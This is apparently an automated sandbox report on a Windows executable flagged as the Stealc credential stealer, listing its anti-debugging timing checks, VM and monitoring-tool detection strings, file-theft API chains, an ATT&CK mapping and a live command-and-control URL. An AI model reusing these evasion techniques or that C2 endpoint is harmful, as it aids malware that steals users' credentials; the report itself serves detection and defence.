Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE5CB second address: 8BE5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE5CF second address: 8BE5D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2ACE second address: 8C2AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2AD8 second address: 8C2ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2ADC second address: 8C2AE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FECB125BFC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2AE8 second address: 8C2B07 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FECB0CC2D0Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECB0CC2D0Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2B07 second address: 8C2B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FECB125BFD3h 0x00000010 jmp 00007FECB125BFD1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2CA9 second address: 8C2CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2CAF second address: 8C2CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2CBC second address: 8C2CDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D0Bh 0x00000007 jmp 00007FECB0CC2D14h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2CDF second address: 8C2CE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2CE5 second address: 8C2CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2CEB second address: 8C2CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jno 00007FECB125BFC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2E81 second address: 8C2E92 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007FECB0CC2D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C32AA second address: 8C32B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FECB125BFC6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3425 second address: 8C3438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FECB0CC2D06h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3F60 second address: 8C3F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3F65 second address: 8C3F6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6E99 second address: 8C6E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6E9D second address: 8C6EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnp 00007FECB0CC2D06h 0x00000012 jmp 00007FECB0CC2D0Bh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2493 second address: 8E249F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FECB125BFC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E43B1 second address: 8E43BB instructions: 0x00000000 rdtsc 0x00000002 jne 00007FECB0CC2D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E43BB second address: 8E43C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7359 second address: 8E735D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4FFD second address: 8F5002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F519A second address: 8F519E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F519E second address: 8F51A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F51A4 second address: 8F51AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5B4D second address: 8F5B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5B51 second address: 8F5B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5CD4 second address: 8F5CE8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FECB125BFC6h 0x00000008 jng 00007FECB125BFC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5CE8 second address: 8F5CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5CEE second address: 8F5CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA343 second address: 8FA348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180282 second address: 51802D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 1Eh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ecx, 2294AE25h 0x0000000f jmp 00007FECB125BFD2h 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FECB125BFCDh 0x0000001f add esi, 19A95726h 0x00000025 jmp 00007FECB125BFD1h 0x0000002a popfd 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51802D0 second address: 51802D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51802D5 second address: 51802E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECB125BFCAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51802E3 second address: 51802F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51802F2 second address: 51802FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803D3 second address: 51803D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803D7 second address: 51803DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8195EA second address: 8195F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8195F0 second address: 8195F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 661A5C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 897703 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00414570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F68A FindFirstFileA,	0_2_0040F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: file.exe, file.exe, 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2133647068.00000000012E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2133647068.00000000012B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2133647068.000000000126E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2133647068.00000000012E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13667
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13664
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13718
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13686
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13678

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004045C0

Source: C:\Users\user\Desktop\file.exe

0_2_00419860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h]

0_2_00419750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00417850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4788, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: file.exe, file.exe, 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00416920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00417A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2089690608.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2133647068.000000000126E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4788, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2089690608.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2133647068.000000000126E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4788, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/?	file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpR	file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpb	file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php1	file.exe, 00000000.00000002.2133647068.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2133647068.000000000126E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541419
Start date and time:	2024-10-24 20:19:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 83
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
